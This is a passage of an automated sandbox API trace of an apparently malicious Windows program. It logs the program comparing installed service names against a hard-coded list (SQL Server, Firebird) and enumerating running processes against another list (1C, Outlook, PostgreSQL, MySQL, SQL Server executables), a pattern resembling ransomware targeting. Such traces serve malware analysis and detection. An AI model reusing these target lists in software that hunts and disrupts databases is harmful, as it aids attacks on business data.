lpString2="PlugPlay") returned -1 [0049.014] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0049.014] lstrlenW (lpString="Power") returned 5 [0049.014] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0049.014] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0049.014] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0049.014] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0049.014] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0049.014] lstrlenW (lpString="ProfSvc") returned 7 [0049.014] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0049.014] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0049.014] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0049.014] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0049.014] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0049.014] lstrlenW (lpString="RpcEptMapper") returned 12 [0049.014] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0049.014] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0049.014] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0049.014] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0049.014] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0049.014] lstrlenW (lpString="RpcSs") returned 5 [0049.014] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0049.014] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0049.014] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0049.014] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0049.014] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0049.014] lstrlenW (lpString="SamSs") returned 5 [0049.014] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0049.015] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0049.015] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0049.015] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0049.015] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0049.015] lstrlenW (lpString="Schedule") returned 8 [0049.015] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0049.015] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0049.015] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0049.015] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0049.015] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0049.015] lstrlenW (lpString="SENS") returned 4 [0049.015] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0049.015] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0049.015] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0049.015] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0049.015] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0049.015] lstrlenW (lpString="ShellHWDetection") returned 16 [0049.015] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0049.015] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0049.015] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0049.015] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0049.015] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0049.015] lstrlenW (lpString="Spooler") returned 7 [0049.015] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0049.015] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0049.015] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0049.015] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0049.015] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0049.015] lstrlenW (lpString="sppsvc") returned 6 [0049.015] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0049.015] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0049.015] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0049.015] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0049.015] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0049.015] lstrlenW (lpString="SysMain") returned 7 [0049.015] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0049.015] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0049.016] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0049.016] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0049.016] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0049.016] lstrlenW (lpString="Themes") returned 6 [0049.016] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0049.016] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0049.016] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0049.016] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0049.016] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0049.016] lstrlenW (lpString="TrkWks") returned 6 [0049.016] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0049.016] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0049.016] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0049.016] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0049.016] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0049.016] lstrlenW (lpString="UxSms") returned 5 [0049.016] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0049.016] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0049.016] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0049.016] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0049.016] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0049.016] lstrlenW (lpString="VSS") returned 3 [0049.016] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0049.016] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0049.016] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0049.016] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0049.016] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0049.016] lstrlenW (lpString="WdiServiceHost") returned 14 [0049.016] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0049.016] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0049.016] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0049.016] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0049.016] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0049.016] lstrlenW (lpString="WdiSystemHost") returned 13 [0049.016] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0049.016] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0049.017] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0049.017] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0049.017] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0049.017] lstrlenW (lpString="WinDefend") returned 9 [0049.017] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinDefend") returned -1 [0049.017] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinDefend") returned -1 [0049.017] lstrcmpiW (lpString1="sqlwriter", lpString2="WinDefend") returned -1 [0049.017] lstrcmpiW (lpString1="mssqlserver", lpString2="WinDefend") returned -1 [0049.017] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinDefend") returned -1 [0049.017] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0049.017] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0049.017] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0049.017] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0049.017] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0049.017] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0049.017] lstrlenW (lpString="Winmgmt") returned 7 [0049.017] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0049.017] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0049.017] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0049.017] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0049.017] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0049.017] lstrlenW (lpString="wscsvc") returned 6 [0049.017] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wscsvc") returned -1 [0049.017] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wscsvc") returned -1 [0049.017] lstrcmpiW (lpString1="sqlwriter", lpString2="wscsvc") returned -1 [0049.017] lstrcmpiW (lpString1="mssqlserver", lpString2="wscsvc") returned -1 [0049.017] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wscsvc") returned -1 [0049.017] lstrlenW (lpString="wuauserv") returned 8 [0049.017] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wuauserv") returned -1 [0049.017] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wuauserv") returned -1 [0049.018] lstrcmpiW (lpString1="sqlwriter", lpString2="wuauserv") returned -1 [0049.018] lstrcmpiW (lpString1="mssqlserver", lpString2="wuauserv") returned -1 [0049.018] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wuauserv") returned -1 [0049.018] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x37f2700 | out: hHeap=0x520000) returned 1 [0049.018] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x204 [0049.022] Process32FirstW (in: hSnapshot=0x204, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0049.023] Process32NextW (in: hSnapshot=0x204, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0049.023] lstrlenW (lpString="System") returned 6 [0049.023] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0049.023] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0049.023] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0049.023] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0049.023] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0049.023] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0049.023] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0049.024] Process32NextW (in: hSnapshot=0x204, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0049.024] lstrlenW (lpString="smss.exe") returned 8 [0049.024] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0049.024] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0049.024] Process32NextW (in: hSnapshot=0x204, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0049.025] lstrlenW (lpString="csrss.exe") returned 9 [0049.025] Process32NextW (in: hSnapshot=0x204, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0049.025] lstrlenW (lpString="wininit.exe") returned 11 [0049.025] Process32NextW (in: hSnapshot=0x204, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0049.026] lstrlenW (lpString="csrss.exe") returned 9 [0049.026] Process32NextW (in: hSnapshot=0x204, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0049.026] lstrlenW (lpString="winlogon.exe") returned 12 [0049.026] Process32NextW (in: hSnapshot=0x204, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0049.027] lstrlenW (lpString="services.exe") returned 12 [0049.027] Process32NextW (in: hSnapshot=0x204, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0049.027] lstrlenW (lpString="lsass.exe") returned 9 [0049.027] Process32NextW (in: hSnapshot=0x204, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0049.028] lstrlenW (lpString="lsm.exe") returned 7 [0049.028] Process32NextW (in: hSnapshot=0x204, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0049.028] lstrlenW (lpString="svchost.exe") returned 11 [0049.029] Process32NextW (in: hSnapshot=0x204, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0049.029] lstrlenW (lpString="svchost.exe") returned 11 [0049.029] Process32NextW (in: hSnapshot=0x204, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0049.030] lstrlenW (lpString="svchost.exe") returned 11 [0049.030] Process32NextW (in: hSnapshot=0x204, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0049.030] lstrlenW (lpString="svchost.exe") returned 11 [0049.030] Process32NextW (in: hSnapshot=0x204, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2b, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0049.031] lstrlenW (lpString="svchost.exe") returned 11 [0049.031] Process32NextW (in: hSnapshot=0x204, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0049.031] lstrlenW (lpString="audiodg.exe") returned 11 [0049.031] Process32NextW (in: hSnapshot=0x204, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0049.032] lstrlenW (lpString="svchost.exe") returned 11 [0049.032] Process32NextW (in: hSnapshot=0x204, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0049.032] lstrlenW (lpString="svchost.exe") returned 11 [0049.032] Process32NextW (in: hSnapshot=0x204, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0049.033] lstrlenW (lpString="dwm.exe") returned 7 [0049.033] Process32NextW (in: hSnapshot=0x204, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x42c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0049.033] lstrlenW (lpString="explorer.exe") returned 12 [0049.033] Process32NextW (in: hSnapshot=0x204, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0049.034] lstrlenW (lpString="spoolsv.exe") returned 11 [0049.034] Process32NextW (in: hSnapshot=0x204, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0049.034] lstrlenW (lpString="taskhost.exe") returned 12 [0049.034] Process32NextW (in: hSnapshot=0x204, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0049.035] lstrlenW (lpString="svchost.exe") returned 11 [0049.035] Process32NextW (in: hSnapshot=0x204, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0049.035] lstrlenW (lpString="taskeng.exe") returned 11 [0049.036] Process32NextW (in: hSnapshot=0x204, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x720, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0049.036] lstrlenW (lpString="taskhost.exe") returned 12 [0049.036] Process32NextW (in: hSnapshot=0x204, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0049.037] lstrlenW (lpString="svchost.exe") returned 11 [0049.037] Process32NextW (in: hSnapshot=0x204, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x674, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0049.037] lstrlenW (lpString="sppsvc.exe") returned 10 [0049.037] Process32NextW (in: hSnapshot=0x204, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0049.038] lstrlenW (lpString="svchost.exe") returned 11 [0049.038] Process32NextW (in: hSnapshot=0x204, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="antibodiesbatteries.exe")) returned 1 [0049.038] lstrlenW (lpString="antibodiesbatteries.exe") returned 23 [0049.038] Process32NextW (in: hSnapshot=0x204, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="smsvhskate.exe")) returned 1 [0049.039] lstrlenW (lpString="smsvhskate.exe") returned 14 [0049.039] Process32NextW (in: hSnapshot=0x204, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="auditorpickupprogramming.exe")) returned 1 [0049.039] lstrlenW (lpString="auditorpickupprogramming.exe") returned 28 [0049.039] Process32NextW (in: hSnapshot=0x204, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x758, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="patient latin.exe")) returned 1 [0049.040] lstrlenW (lpString="patient latin.exe") returned 17 [0049.040] Process32NextW (in: hSnapshot=0x204, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="barbados.exe")) returned 1 [0049.040] lstrlenW (lpString="barbados.exe") returned 12 [0049.040] Process32NextW (in: hSnapshot=0x204, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="otthose.exe")) returned 1 [0049.041] lstrlenW (lpString="otthose.exe") returned 11 [0049.041] Process32NextW (in: hSnapshot=0x204, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="suburban.exe")) returned 1 [0049.288] lstrlenW (lpString="suburban.exe") returned 12 [0049.288] Process32NextW (in: hSnapshot=0x204, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="examination.exe")) returned 1 [0049.289] lstrlenW (lpString="examination.exe") returned 15 [0049.289] Process32NextW (in: hSnapshot=0x204, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="circulation-remark-crisis.exe")) returned 1 [0049.289] lstrlenW (lpString="circulation-remark-crisis.exe") returned 29 [0049.290] Process32NextW (in: hSnapshot=0x204, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="madrid.exe")) returned 1 [0049.290] lstrlenW (lpString="madrid.exe") returned 10 [0049.290] Process32NextW (in: hSnapshot=0x204, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="measurerush.exe")) returned 1 [0049.290] lstrlenW (lpString="measurerush.exe") returned 15 [0049.291] Process32NextW (in: hSnapshot=0x204, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x73c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="interest treaty spam.exe")) returned 1 [0049.291] lstrlenW (lpString="interest treaty spam.exe") returned 24 [0049.291] Process32NextW (in: hSnapshot=0x204, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="unlikecollectionstransformation.exe")) returned 1 [0049.292] lstrlenW (lpString="unlikecollectionstransformation.exe") returned 35 [0049.292] Process32NextW (in: hSnapshot=0x204, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, 